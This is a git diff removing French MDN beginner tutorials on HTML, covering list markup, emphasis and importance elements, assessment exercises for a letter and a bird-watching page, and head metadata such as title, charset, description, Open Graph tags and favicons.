-Tournez à gauche au troisième rond-point
-Roulez sur 300 mètres, l'école est sur votre droite
- -

Les balises suivent la même structure que pour les listes ordonnées, à cela près que la liste est contenue dans l'élément {{htmlelement("ol")}} (ordered list), et non dans <ul>:

- -
<ol>
-  <li>Roulez jusqu'au bout de la route</li>
-  <li>Tournez à droite</li>
-  <li>Allez tout droit aux deux premiers ronds-points</li>
-  <li>Tournez à gauche au troisième rond-point</li>
-  <li>Roulez sur 300 mètres, l'école est sur votre droite</li>
-</ol>
- -

Apprentissage actif : baliser une liste ordonnée

- -

Modifiez l'exemple ci‑dessous pour créer votre propre liste HTML ordonnée.

- - - -

{{ EmbedLiveSample('Playable_code_3', 700, 500) }}

- -

Apprentissage actif : mettre des balises pour une recette de cuisine

- -

Si vous êtes arrivé jusqu'ici dans l'article, vous avez toutes les connaissances nécessaires pour mettre en forme la recette de cuisine donnée en exemple. Vous pouvez soit télécharger le fichier text-start.html et le modifier de votre côté, soit faire l'exercice dans l'exemple modifiable ci-dessous. Il est conseillé de le modifier localement, sur votre machine, car vous pourrez alors enregistrer votre travail. Si vous utilisez l'exemple modifiable de cette page, le travail sera perdu à l'ouverture suivante de la page. Chaque méthode a ses avantages et ses inconvénients.

- - - -

{{ EmbedLiveSample('Playable_code_4', 700, 500) }}

- -

Si vous êtes bloqué, vous pouvez cliquer sur le bouton Voir la solution, ou alors regarder l'exemple text-complete.html sur le dépôt GitHub.

- -

Imbriquer des listes

- -

Il est parfaitement possible d'imbriquer une liste dans une autre. Il se peut que vous vouliez insérer une liste à puces derrière une même puce de niveau supérieur. Prenons par exemple la deuxième liste de la recette :

- -
<ol>
-  <li>Ôter la peau de l'ail et le hacher grossièrement.</li>
-  <li>Enlever les graines et la tige du poivron, le hacher grossièrement.</li>
-  <li>Mettre tous les ingrédients dans un robot mixer jusqu'à l'obtention d'une pâte.</li>
-  <li>Si vous voulez un houmous grenu, ne le mixez pas trop longtemps.</li>
-  <li>Si vous voulez un houmous lisse, mixez-le plus longtemps.</li>
-</ol>
-
- -

Comme les deux dernières puces de la liste sont très liées à celle qui les précède (elles semblent être des sous-instructions ou des choix correspondant à cette puce), il peut être judicieux de les regrouper dans une même liste non-ordonnée, et placer cette liste dans le quatrième item. Cela ressemblerait alors à ceci :

- -
<ol>
-  <li>Ôter la peau de l'ail et le hacher grossièrement.</li>
-  <li>Enlever les graines et la tige du poivron, le hacher grossièrement.</li>
-  <li>Mettre tous les ingrédients dans un robot mixer jusqu'à l'obtention d'une pâte.
-    <ul>
-      <li>Si vous voulez un houmous grenu, ne le mixez pas trop longtemps.</li>
-      <li>Si vous voulez un houmous lisse, mixez-le plus longtemps.</li>
-    </ul>
-  </li>
-</ol>
-
- -

N'hésitez pas à revenir au dernier apprentissage actif pour modifier vous même la liste correspondante dans la recette.

- -

Soulignement et importance

- -

Dans le langage, nous mettons souvent l'accent sur certains mots pour modifier le sens d'une phrase et pour marquer certains mots comme étant importants ou différents d'une manière ou d'une autre. HTML fournit divers éléments de sémantique pour nous permettre de marquer un contenu textuel avec de tels effets. Dans cette section, nous examinerons quelques-uns des plus courants.

- -

Emphase

- -

Dans le langage parlé, pour accentuer, nous insistons sur certains mots, modifiant subtilement le sens de ce que nous disons. De même, dans le langage écrit, nous avons tendance à mettre un certain accent sur des mots en les écrivant en italique. Par exemple, les deux phrases suivantes ont des significations différentes.

- -

« Je suis content que vous n'ayez pas été en retard. »

- -

« Je suis content que vous n'ayez pas été en retard. »

- -

La première phrase semble indiquer que le locuteur est vraiment soulagé que la personne n'aie pas été en retard. En revanche, la seconde a une tonalité sarcastique ou passive-agressive, exprimant la gêne que la personne soit arrivée un peu en retard.

- -

En HTML, nous utilisons l'élément {{htmlelement("em")}} (emphase) pour marquer ces circonstances. Outre rendre le document plus intéressant à lire, ces marqueurs sont reconnus par les lecteurs d'écran et exprimés sur un ton de voix différent. Les navigateurs utilisent l'italique par défaut, mais il ne faut pas utiliser cette balise pour mettre en italique. Pour cela, utilisez un élément {{htmlelement("span")}} et du CSS, ou plus simplement un élément {{htmlelement("i")}} (voir ci-dessous).

- -
<p>Je suis <em>content</em> que vous n'ayez pas été <em>en retard</em>.</p>
- -

Grande importance

- -

Pour mettre l'accent sur des mots très importants, nous les soulignons d'un ton particulier dans la langue parlée et nous les mettons en caractères gras dans la langue écrite. Par exemple :

- -

Ce liquide est hautement toxique.

- -

Je compte sur vous. Ne soyez pas en retard !

- -

En HTML, nous utilisons l'élément {{htmlelement("strong")}} (forte importance) comme balise de telles circonstances. En plus de rendre le document plus lisible, ces balises sont reconnues par les lecteurs d'écran et énoncées avec des intonations différentes. Par défaut, les navigateurs mettent le texte marqué en gras, mais il ne faut pas utiliser cette balise pour mettre en gras. Pour cela, utilisez un élément {{htmlelement("span")}}} et du CSS, ou plus simplement un élément {{htmlelement("b")}} (voir ci-dessous).

- -
<p>Ce liquide est <strong>hautement toxique</strong>.</p>
-
-<p>Je compte sur vous. <strong>Ne soyez pas en retard</strong> !</p>
- -

Il est possible d'imbriquer strong et em :

- -
<p>Ce liquide est <strong>hautement toxique</strong> —
-si vous en buvez, <strong>vous pourriez en <em>mourir</em></strong>.</p>
- -

Apprentissage actif : soulignez l'important !

- -

Dans ce paragraphe d'apprentissage actif, nous avons donné un exemple modifiable. À l'intérieur, nous aimerions que vous essayiez d'ajouter de l'emphase et de l'importance aux mots quand vous pensez qu'ils en ont besoin, juste pour une bonne pratique.

- - - -

{{ EmbedLiveSample('Playable_code_5', 700, 500) }}

- -

Italique, gras, soulignement…

- -

Les éléments dont nous avons discuté jusqu'à présent ont une sémantique bien définie. La situation avec {{htmlelement("b")}}, {{htmlelement("i")}} et {{htmlelement("u")}} est un peu plus complexe. Ils sont apparus pour que les personnes puissent écrire du texte en gras, en italique ou souligné à une époque où le CSS était encore mal ou pas du tout pris en charge. De tels éléments, qui n'affectent que la présentation et non la sémantique, sont appelés éléments de présentation et ne devraient plus être utilisés, car comme nous l'avons vu précédemment, la sémantique a la plus grande importance pour l'accessibilité, le référencement, etc.

- -

HTML5 a redéfini <b>, <i> et <u> avec de nouveaux rôles sémantiques quelques peu déroutants.

- -

Voici la meilleure règle d'or : il est probablement approprié d'utiliser <b>, <i>, ou <u> pour communiquer le sens traditionnellement associé aux caractères gras, italiques ou soulignés, à condition qu'il n'y ait pas d'élément plus approprié. Toutefois, il demeure toujours essentiel de garder présent à l'esprit le concept d'accessibilité. L'écriture en italique n'est pas très utile aux personnes utilisant des lecteurs d'écran ou un système d'écriture autre que l'alphabet latin.

- - - -
-

Un petit avertissement à propos du soulignement : les gens associent fortement soulignement et hyperliens. Par conséquent, sur le Web, il est préférable de ne souligner que les liens. N'utilisez l'élément <u> que s'il est sémantiquement approprié, mais envisagez d'utiliser les CSS pour remplacer le soulignement par défaut par quelque chose de plus approprié sur le Web. L'exemple ci-dessous illustre comment cela peut être fait.

-
- -
<!-- noms scientifiques -->
-<p>
-  Le colibri à gorge rouge (<i>Archilochus colubris</i>)
-  est le colibri le plus courant dans l'ouest de l'Amérique du Nord.
-</p>
-
-<!-- mots dans une langue étrangère -->
-<p>
-  Le menu était un océan de mots exotiques comme <i lang="uk-latn">vatrushka</i>,
-  <i lang="id">nasi goreng</i> et <i lang="en">porridge</i>.
-</p>
-
-<!-- une faute d'orthographe connue -->
-<p>
-  Un jour, j'apprendrai comment mieux <u style="text-decoration-line: underline; text-decoration-style: wavy;">épeler</u>.
-</p>
-
-<!-- Mettre en évidence les mots‑clés dans un ensemble d'instructions -->
-<ol>
-  <li>
-    <b>Trancher</b> deux morceaux de pain dans la miche.
-  </li>
-  <li>
-    <b>Mettre</b> une rondelle de tomate et une feuille de laitue
-    entre les deux tranches de pain.
-  </li>
-</ol>
- -

Résumé

- -

C'est tout pour l'instant ! Cet article doit vous avoir donné une bonne idée de la façon de commencer à baliser le texte en HTML et présenté les éléments les plus importants dans ce domaine. Il existe énormément d'autres éléments sémantiques à connaître dans ce domaine ; nous en verrons beaucoup plus dans notre article « More Semantic Elements », plus loin dans ce cours. Dans le prochain article, nous examinerons en détail comment créer des hyperliens, qui est peut-être l'élément le plus important sur le Web.

- -

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}

- -

 

- -

Dans ce module

- - - -

 

diff --git "a/files/fr/apprendre/html/introduction_\303\240_html/index.html" "b/files/fr/apprendre/html/introduction_\303\240_html/index.html" deleted file mode 100644 index d9d5aa9a05..0000000000 --- "a/files/fr/apprendre/html/introduction_\303\240_html/index.html" +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Introduction au HTML -slug: Apprendre/HTML/Introduction_à_HTML -tags: - - Codage - - HTML - - Introduction au HTML - - Landing - - Liens - - Structure - - Texte - - head - - sémantique -translation_of: Learn/HTML/Introduction_to_HTML ---- -
{{LearnSidebar}}
- -

Dans son cœur, {{glossary("HTML")}} est un langage vraiment simple, composé d’éléments appliquables à des fragments de texte dans un document pour leur donner un sens différent (est-ce un paragraphe ? est-ce une liste à puces ? est-ce une partie de tableau ?), pour structurer un document en sections logiques (a‑t‑il un en-tête ? est-il sur trois colonnes ? a-t-il un menu de navigation ?) et pour intégrer du contenu comme images ou vidéos dans une page. Ce module est une introduction aux deux premiers concepts ; il présente les notions fondamentales et la syntaxe à connaître pour comprendre le HTML.

- -

Prérequis

- -

Il n’y a pas besoin de connaissances préalables en HTML pour parcourir ce module, mais vous devez au moins être familier des ordinateurs et d’une utilisation passive du Web (càd. juste le parcourir et consommer son contenu). Vous devriez avoir un environnement de travail en place tel que détaillé dans cet article et comprendre comment créer et gérer des fichiers tel qu’expliqué dans cet autre article — ces deux articles font partie du module Démarrer avec le Web qui s’adresse aux débutants.

- -
-

Note : Si vous travaillez sur un ordinateur, tablette ou autre appareil sur lequel il n’est pas posssible de créer vos propres fichiers, vous pourrez essayer (la plupart) des exemples de code grâce à des outils en ligne comme JSBin ou Thimble.

-
- -

Guides

- -

Ce module contient les articles suivants vous permettant de parcourir toute la théorie des bases du HTML ; il vous donnera amplement l’occasion de tester vos compétences.

- -
-
Commencer avec le HTML
-
Cet article porte sur les fondements du HTML pour prendre un bon départ — nous  définissons les éléments, les attributs et tout autre terme important que vous avez peut‑être entendu, ainsi que leur emplacement adéquat dans le langage. Nous montrons comment un élément HTML est structuré, comment une page HTML classique est structurée et expliquons les autres importants traits de base du langage. Dans ce parcours, nous jouons avec certains HTML pour attiser votre intérêt.
-
Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML
-
head dans un document HTML est une partie du document qui n’est pas affichée par le navigateur au chargement de la page. Elle contient des informations comme le titre ({{htmlelement("title")}}) de la page, des liens aux {{glossary("CSS")}} (si vous souhaitez composer le contenu HTML grâce  des CSS), des liens aux favicons et des méta-données (auteur du document, mots-clés décrivant le document, etc.).
-
Les concepts fondamentaux du HTML liés au texte
-
Un des rôles principaux du HTML est de donner un sens au texte (on dit aussi sémantiser), afin que le navigateur sache comment l’afficher correctement. Cet article montre comment utiliser le HTML pour fractionner un bloc de texte en une structure avec titres et paragraphes, ajouter des marques d’emphase ou d’importance à des mots, créer des listes, etc.
-
Créer des hyperliens
-
Les hyperliens sont vraiment importants — ce sont eux qui tissent la toile du Web. Cet article montre la syntaxe requise pour faire un lien et expose les meilleures pratiques concernant les liens.
-
La mise en forme avancée du texte
-
Il y a de nombreux autres éléments HTML pour mettre en forme un texte qui n’ont pas été mentionnés dans l’article Les concepts fondamentaux du HTML liés au texte. Les éléments abordés ici sont moins connus mais tout aussi utiles. Nous voyons ici comment marquer des citations, des listes de description, du code informatique et autres choses relatives au texte : indices et exposants, informations de contact, etc.
-
La structure d'un document et d'un site web
-
De même que HTML est utilisé pour définir les diverses parties indépendantes d’une page (comme un « paragraphe » ou une « image »), HTML l’est pour définir des zones de votre site web (comme l’« en‑tête », le « menu de navigation », le « contenu principal », etc.). Cet article détaille la structure d’un site simple et l’écriture du HTML correspondant.
-
Déboguer du code HTML
-
Écrire du code HTML, c’est bien, mais si quelque chose se passe mal, que faire pour trouver où est l’erreur dans le code ? Cet article vous indique divers outils pour vous aider.
-
- -

Évaluations

- -

Les exercices suivants vous permettront de tester votre compréhension des bases du HTML couvertes dans les guides ci‑dessus.

- -
-
Utiliser les bons éléments pour une lettre
-
Tôt ou tard, nous apprenons tous à écrire une lettre ; cet exemple est utile pour tester vos compétences en mise en forme de texte. L’exercice consiste à baliser une lettre.
-
Organiser la structure d'une page
-
Dans cette évaluation, vous devrez organiser la structure d’une page simple avec un en-tête, un pied de page, un menu de navigation, un contenu principal et une barre latérale.
-
- -

Voir également

- -
-
Web literacy basics 1
-
Un excellent cours de la fondation Mozilla qui évoque et teste un grand nombre de compétences évoquées dans le module « Introduction à HTML ». Les apprenants peuvent s’y familiariser avec la lecture, l’écriture et la participation au Web dans ce module en six parties. Découvrez les fondations du Web à travers la production et la collaboration.
-
diff --git "a/files/fr/apprendre/html/introduction_\303\240_html/marking_up_a_letter/index.html" "b/files/fr/apprendre/html/introduction_\303\240_html/marking_up_a_letter/index.html" deleted file mode 100644 index cdf9dd4cf1..0000000000 --- "a/files/fr/apprendre/html/introduction_\303\240_html/marking_up_a_letter/index.html" +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Faire une lettre -slug: Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter -tags: - - Codage - - Débutant - - Evaluation - - HTML - - Liens - - Texte - - en-tête -translation_of: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Debugging_HTML", "Apprendre/HTML/Introduction_%C3%A0_HTML/Structuring_a_page_of_content", "Apprendre/HTML/Introduction_à_HTML")}}
- -

Tôt ou tard nous apprenons tous à écrire une lettre ; c'est aussi un exemple utile pour tester nos compétences en matière de mise en forme ! Dans cet exercice, vous devrez opérer le balisage d'une lettre en utilisant les fonctionnalités textes élémentaires et avancées, y compris les hyperliens, et en plus nous testerons vos connaissances avec certains contenus de <head> en HTML.

- - - - - - - - - - - - -
Prérequis :Avant de se lancer dans cet exercice, vous devez déja avoir travaillé Commencer avec le HTML, Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML, Fondamentaux du texte HTML, Création d'hyperliens et Formatage avancé du texte.
Objectif :Tester vos connaissances en balisage HTML simple et avancé de texte, d'hyperliens et de ce qu'il convient de mettre dans l'élément <head>.
- -

Point de départ

- -

Pour commencer cet exercice, vous devez récupérer le texte brut que vous allez baliser et les CSS à inclure dans l'HTML. Créez un nouveau fichier .html avec l'éditeur de texte dans lequel vous allez travailler (ou bien utilisez un site comme JSBin ou Thimble pour faire l'exercice.)

- -

Projet « lettre »

- -

Pour ce projet, votre tâche consiste à baliser une lettre destinée à être hébergée dans l'intranet d'une université. La lettre est une réponse d'une chercheuse en poste à une doctorante éventuelle à propos de sa candidature pour travailler à l'université.

- -

Sémantique de blocs/structures :

- - - -

Sémantique en ligne :

- - - -

Dans l'en‑tête du document :

- - - -

Conseils et astuces

- - - -

Exemple

- -

La capture d'écran suivante montre ce à quoi la lettre devrait ressembler après le balisage.

- -

Présentation de la lettre

- -

Évaluation

- -

Si cette évaluation fait partie d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur/formateur pour notation. Si vous faites de l'auto‑formation vous pouvez obtenir un guide d'auto‑évaluation en le demandant sur le Learning Area Discourse thread ou sur le canal IRC #mdn sur Mozilla IRC. Essayez l'exercice d'abord — il n'y a rien à gagner à tricher !

- -

{{PreviousMenuNext("Apprendre/HTML/Introduction_to_HTML/Debugging_HTML", "Apprendre/HTML/Introduction_%C3%A0_HTML/Structuring_a_page_of_content", "Apprendre/HTML/Introduction_to_HTML")}}

- -

Dans ce module

- - diff --git "a/files/fr/apprendre/html/introduction_\303\240_html/structuring_a_page_of_content/index.html" "b/files/fr/apprendre/html/introduction_\303\240_html/structuring_a_page_of_content/index.html" deleted file mode 100644 index acbe843b62..0000000000 --- "a/files/fr/apprendre/html/introduction_\303\240_html/structuring_a_page_of_content/index.html" +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Structurer une page de contenu -slug: Apprendre/HTML/Introduction_à_HTML/Structuring_a_page_of_content -translation_of: Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content ---- -
{{LearnSidebar}}
-{{PreviousNext("Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}}
- -

Il est essentiel de savoir structurer une page de contenu prête à être mise en forme grâce au CSS. Cette évaluation va vous permettre de vous tester sur votre capacité à réfléchir au rendu visuel final d'une page et à choisir la sémantique structurelle appropriée pour construire une bonne mise en page.

- - - - - - - - - - - - -
Prérequis :Avant de commencer cette évaluation, vous devriez avoir déjà travaillé sur le reste du cours, en particulier sur Structure de Site Web et de document
Objectif :Tester vos connaissances sur la structure des pages web et d'une représentation prospective d'un design de mise en page avec un balisage.
- -

Point de départ

- -

Pour commencer cet exercice, vous pouvez télécharger l'archive contenant les fichiers nécessaires à cette évaluation. Elle contient :

- - - -

Décompressez l'archive sur votre ordinateur, ou bien utilisez un site web comme JSBin ou Thimble pour faire votre évaluation.

- -

Aperçu du projet

- -

Dans ce projet, l'objectif est d'ajouter des éléments structurels au contenu de la page d'accueil d'un site d'observation d'oiseaux pour parfaire sa mise en page. La page devra contenir :

- - - -

Vous devez ajouter les enveloppes appropriées pour :

- - - -

Vous devez aussi

- - - -

Conseils et astuces

- - - -

Exemple

- -

La capture d'écran suivante montre un exemple de ce à quoi la page d'accueil peut ressembler après avoir été balisée.

- -

L'exemple de l'exercice complété ; une page web unique sur l'observation des oiseaux, comprenant un en-tête "Observons les oiseaux", des photos d'oiseaux et un message de bienvenue.

- -

ÉvaluationEdit

- -

Si cette évaluation fait partie d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur/formateur pour notation. Si vous faites de l'auto‑formation vous pouvez obtenir un guide d'auto‑évaluation en le demandant sur le Learning Area Discourse thread ou sur le canal IRC #mdn sur Mozilla IRC. Essayez l'exercice d'abord — il n'y a rien à gagner à tricher !

- -

{{PreviousMenu("Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}}

- -

Dans ce module

- - diff --git "a/files/fr/apprendre/html/introduction_\303\240_html/the_head_metadata_in_html/index.html" "b/files/fr/apprendre/html/introduction_\303\240_html/the_head_metadata_in_html/index.html" deleted file mode 100644 index f4d2163b6f..0000000000 --- "a/files/fr/apprendre/html/introduction_\303\240_html/the_head_metadata_in_html/index.html" +++ /dev/null @@ -1,286 +0,0 @@ ---- -title: Qu'avez-vous dans la tête ? Métadonnées en HTML -slug: Apprendre/HTML/Introduction_à_HTML/The_head_metadata_in_HTML -translation_of: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Apprendre/HTML/Introduction_à_HTML")}}
- -

L'en-tête {{glossary("Head", "head")}} dans un document HTML est une partie du document qui n'est pas affichée par le navigateur au chargement de la page. Elle contient des informations comme le titre ({{htmlelement("title")}}) de la page, des liens aux {{glossary("CSS")}} (si vous souhaitez composer le contenu HTML avec des CSS), des liens aux favicons personnalisés et d'autres méta-données (auteur du document, mots-clés décrivant le document, etc.). Cet article porte sur tout ceci et plus, pour vous donner de bonnes bases pour gérer les balises et le code qui devraient figurer dans l'en-tête.

- - - - - - - - - - - - -
Prérequis:Connaître les bases du HTML, telles qu'elles sont exposées dans l'article Commencer avec le HTML
Objectifs:En savoir plus sur la balise <head> du HTML, son objet, les éléments les plus importants qu'elle peut contenir et l'effet qu'elle peut avoir sur le document HTML.
- -

Qu'est-ce que l'en-tête de HTML ?

- -

Revoyons le document HTML de base de l' article précédent:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-    <title>Ma page test</title>
-  </head>
-  <body>
-    <p>Voici ma page</p>
-  </body>
-</html>
- -

Le contenu de l'en-tête HTML {{htmlelement("head")}} — à la difference du contenu de l'élément {{htmlelement("body")}} (affiché quand la page est chargée par le navigateur) — n'est pas affiché dans la page du navigateur. Le travail de la balise <head> est de contenir les {{glossary("Metadata", "métadonnées")}} à propos du document. Dans l'exemple ci-dessus, l'en-tête est plutôt petit :

- -
<head>
-  <meta charset="utf-8">
-  <title>Ma page test</title>
-</head>
- -

Toutefois dans les pages plus importantes, l'en-tête peut contenir un grand nombre d'éléments — essayez d'aller sur certains de vos sites web préférés et utilisez les outils de développement pour vérifier le contenu de l'en-tête. Notre objectif ici n'est pas de vous montrer comment utiliser tout ce qui peut être mis dans l'élément <head>, mais plutôt de vous apprendre à utiliser les outils les plus évidents, que vous souhaiterez inclure dans l'en-tête, et vous les rendre plus familiers. Commençons.

- -

Ajouter un titre

- -

Nous avons déjà vu l'élément {{htmlelement ("title")}} — qui peut être utilisé pour ajouter un intitulé au document. Il peut toutefois être confondu avec l'élément {{htmlelement ("h1")}}, pour ajouter un en‑tête de haut nieau au contenu de votre page dans l'élément {{htmlelement("body")}} — quelquefois désigné comme étant le « titre de la page ». Mais ce sont des choses différentes !

- - - -

Apprentissage actif : inspection d'un exemple simple 

- -
    -
  1. Pour commencer cet apprentissage actif, nous vous invitons à télécharger une copie de notre  page-titre-exemple sur le dépôt Github. Pour ce faire, soit : - -
      -
    1. copiez et collez le code hors de la page dans un nouveau fichier texte dans votre éditeur de code, puis sauvegardez-le dans un endroit raisonnable.
      2. -
    2. pressez le bouton « Raw » de la page : le texte brut apparaît dans un nouvel onglet du navigateur. Ensuite, choisissez Fichier> Enregistrer la page sous ... dans le menu du navigateur, puis choisissez un endroit pour enregistrer le fichier.
      3. -
    -
    2. -
  2. Maintenant, ouvrez le fichier dans votre navigateur. Vous devriez voir quelque chose comme ça : -

    Une simple page web page dont <title> a la valeur «Élément <title>» et <h1> la valeur Élément <h1>.Il devrait désormais être évident de situer où le contenu de <h1> apparaît  et où celui de <title> apparaît !

    -
    3. -
  3. -

    Vous devriez aussi essayer d'ouvrir ce code dans votre éditeur, modifier le contenu de ces éléments, puis rafraîchir la page dans votre navigateur. Amusez-vous avec ces fonctions.

    -
    4. -
- -

Le contenu de l'élément <title> est aussi utilisé de manières différentes . Par exemple, si vous tentez de marquer cette page dans vos Marques-pages ( Marques-pages > Marquer cette page ou bien l'étoile dans la barre d'outils de Firefox), vous verrez que le contenu de <title> est suggéré comme nom pour le marque-page.

- -

Une page Web marquée dans Firefox ; le nom du signet a été automatiquement rempli avec le contenu de l'élément <title>.

- -

Le contenu de <title> est aussi utilisé dans les résultats de recherches, comme vous le verrez ci‑dessous.

- -

Métadonnées : l'élément <meta>

- -

Les métadonnées sont des données qui décrivent des données, et le langage HTML a une manière « officielle » d'ajouter des métadonnées à un document — l'élément {{htmlelement("meta")}}. Bien sûr, d'autres choses, dont nous parlons dans cet article, pourraient aussi être considérées comme des métadonnées. Il y a une panoplie d'autres éléments de type <meta> qui auraient pu figurer dans l'en-tête de votre page, mais nous n'en parlerons pas pour l'instant, car ce serait trop déroutant. À la place, nous expliquerons quelques éléments que vous pourriez voir, juste pour vous donner une idée.

- -

Définition de l'encodage des caractères du document

- -

Dans l'exemple que nous avons vu au-dessus, cette ligne était présente :

- -
<meta charset="utf-8">
- -

Cet élément définit l'encodage des caractères du document - le jeu de caractères qu'il est autorisé à utiliser. utf-8 est un jeu de caractères universel qui inclut à peu près tous les caractères des langues humaines. Cela signifie que votre page web sera capable de gérer l'affichage de n'importe quelle langue ; c'est donc une bonne idée de le définir dans chaque page web que vous créez ! Par exemple, votre page peut gérer l'anglais et le japonais sans aucun souci :

- -

Une page Web contenant des caractères français et japonais, le jeu de caractères étant universel ou utf-8. Les deux langues s'affichent correctement.Si vous définissez votre encodage de caractères en ISO-8859-1 , par exemple (le jeu de caractères de l'alphabet latin), le rendu de votre page sera totalement perturbé :

- -

Une page Web contenant des caractères français et japonais, l'encodage des caractères étant réglé sur ISO latin. Les caractères japonais ne s'affichent pas correctement.

- -
-

Note : Certains navigateurs (par ex. Chrome) corrigent automatiquement les encodages  incorrects, ainsi selon le navigateur utilisé, ce problème pourrait vous passer totalement inaperçu. Vous devriez quand même définir un encodage utf-8 sur votre page de toutes façons pour éviter tout problème potentiel avec d'autres navigateurs.

-
- -

Apprentissage actif : expérience avec l'encodage des caractères

- -

Pour cela, reportez-vous au modèle HTML simple que vous avez obtenu dans la section précédente sur <title> (la page title-example.html), faites un essai de modification de la valeur de la métadonnée charset en ISO-8859-1 et ajoutez le japonais à votre page. Voici le code que nous avons utilisé :

- -
<p>Japanese example: ご飯が熱い。</p>
- -

Ajouter  le nom de l'auteur et une description

- -

De nombreux éléments <meta> icontiennent les attributs name et content :

- - - -

Il est utile d'inclure ces deux méta-éléments dans votre page pour définir son auteur et donner une courte description de son contenu. Voyons un exemple :

- -
<meta name="author" content="Chris Mills">
-<meta name="description" content="La Zone Apprentissage des documents web
-du MDN a pour but de donner aux débutants du Web tout ce qu'ils doivent
-savoir pour commencer le développement de pages webs et d'applications.">
- -

Préciser l'auteur peut être intéressant dans certains cas : il est utile de savoir qui a écrit la page pour le contacter et lui poser des questions à propos du contenu. Certains systèmes de gestion de contenu procèdent à l'extraction automatique des informations sur l'auteur de la page et les rendent disponibles à cette fin.

- -

Définir une description qui incorpore des mots-clés relatifs au contenu de la page est utile ; votre page pourra ainsi apparaître plus haut dans la liste de recherches par pertinence créée par un moteur de recherche (ce processus se nomme Search Engine Optimization ou {{glossary("SEO")}} — optimisation du moteur de recherche.)

- -

Apprentissage actif : utilisation des descriptions dans les moteurs de recherche.

- -

La description est aussi utilisée dans le résultat des moteurs de recherche. Faisons un exercice pour mieux comprendre.

- -
    -
  1. Allez sur la page d'accueil de Mozilla Developer Network.
    2. -
  2. Regardez le source de la page (Clic droit/Ctrl, choissisez « Code source de la page » dans le menu contextuel.)
    3. -
  3. Trouvez la balise méta description. Elle ressemble à ceci : - 
    <meta name="description" content="MDN Web Docs fournit
- des informations sur les technologies web ouvertes comme HTML,
- CSS et les API utilisées pour les sites web et les applications
- web. On y trouve également de la documentation destinées aux
- développeurs à propos des produits Mozilla tels que les
- outils de développement de Firefox.">
    -
    4. -
  4. Maintenant, cherchez « Mozilla Developer Network » sur votre moteur de recherche favori (nous avons utilisé Google). Vous remarquerez que le contenu de la <meta> description et de l'élément <title> sont utilisés dans les résultats de recherche. Cela vaut vraiment la peine ! -

    Une page de recherche Google pour "MDN web docs"

    -
    5. -
- -
-

Note : Avec Google, vous verrez quelques sous-pages pertinentes de MDN listées sous le lien de la page d'accueil — ce sont des liens du site ; ils sont configurables dans les outils de Google's webmaster tools - ces outils sont donc un moyen de rendre les résultats de recherche de votre site meilleurs avec le moteur de recherche de Google.

-
- -
-

Note: Plusieurs fonctions <meta> ne sont plus utilisées. Par exemple, l'élément <meta> keyword (<meta name= "keywords" content="mettez, vos, mot-clés, ici">) — qui est censé fournir des mots-clés pour les moteurs de recherche, afin de déterminer la pertinence de la page pour différents termes de recherche — est ignoré par les moteurs de recherche, car les polluposteurs remplissaient simplement la liste avec des centaines de mots-clés, biaisant les résultats.

-
- -

Autres types de métadonnées

- -

En parcourant le web, vous trouverez d'autres types de métadonnées. Beaucoup de fonctionnalités que vous verrez sur les sites webs sont des créations propriétaires, conçues pour être utilisées sur certains sites ( comme les réseaux sociaux ) avec des informations spécifiques qu'ils peuvent utiliser ;

- -

Par exemple, Open Graph Data est un protocole de métadonnées que Facebook a inventé pour fournir des métadonnées plus riches pour les sites webs. Dans le code source de MDN vous trouverez ceci :

- -
<meta property="og:image" content="https://developer.cdn.mozilla.net/static/img/opengraph-logo.dc4e08e2f6af.png">
-<meta property="og:description" content="MDN Web Docs fournit des
-informations sur les technologies web ouvertes comme HTML, CSS et les API
-utilisées pour les sites web et les applications web. On y trouve également
-de la documentation destinées aux développeurs à propos des produits
-Mozilla tels que les outils de développement de Firefox.">
-<meta property="og:title" content="Mozilla Developer Network">
- -

En conséquence, lorsque vous faites un lien à MDN sur Facebook, le lien apparaît avec une image et une description : une expérience plus riche pour les utilisateurs.

- -

Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description.Twitter a aussi une métadonnée propriétaire, qui a un effet similaire quand l'URL du site est affichée sur twitter.com. Par exemple:

- -
<meta name="twitter:title" content="Mozilla Developer Network">
- -

Ajouter des icônes personnalisées à un site

- -

Pour enrichir davantage le design de votre site, vous pouvez ajouter des références à des icônes personnalisées dans vos métadonnées et celles-ci seront affichées dans certains contextes.

- -

La petite favicône, qui existe depuis de nombreuses années, a été la première icône de ce type, une icône de 16 x 16 pixels utilisée dans de multiples endroits. Vous verrez des favicônes affichés dans chaque onglet du navigateur pour chaque page ouverte et à côté des pages marquées dans le panneau des signets.

- -

Une favicône peut être ajoutée à votre page de la façon suivante :

- -
    -
  1. Enregistrez-la dans le même répertoire que la page d'index du site, sous le format .ico (la plupart des navigateurs prendront en charge les favicônes dans des formats plus communs comme .gif ou .png, mais utiliser le format ICO assurera son fonctionnement  depuis Internet Explorer 6.)
    2. -
  2. Ajoutez la ligne suivante dans votre <head> du HTML pour la référencer : - 
    <link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
    -
    3. -
- -

Voici un exemple de favicône dans un panneau de favoris :

- -

Le panneau de signets Firefox, montrant un exemple de signet avec une favicône affichée à côté.

- -

Il existe de nombreux autres types d'icônes à considérer aussi actuellement. Par exemple, vous trouverez ceci dans le code source de la page d'accueil MDN :

- -
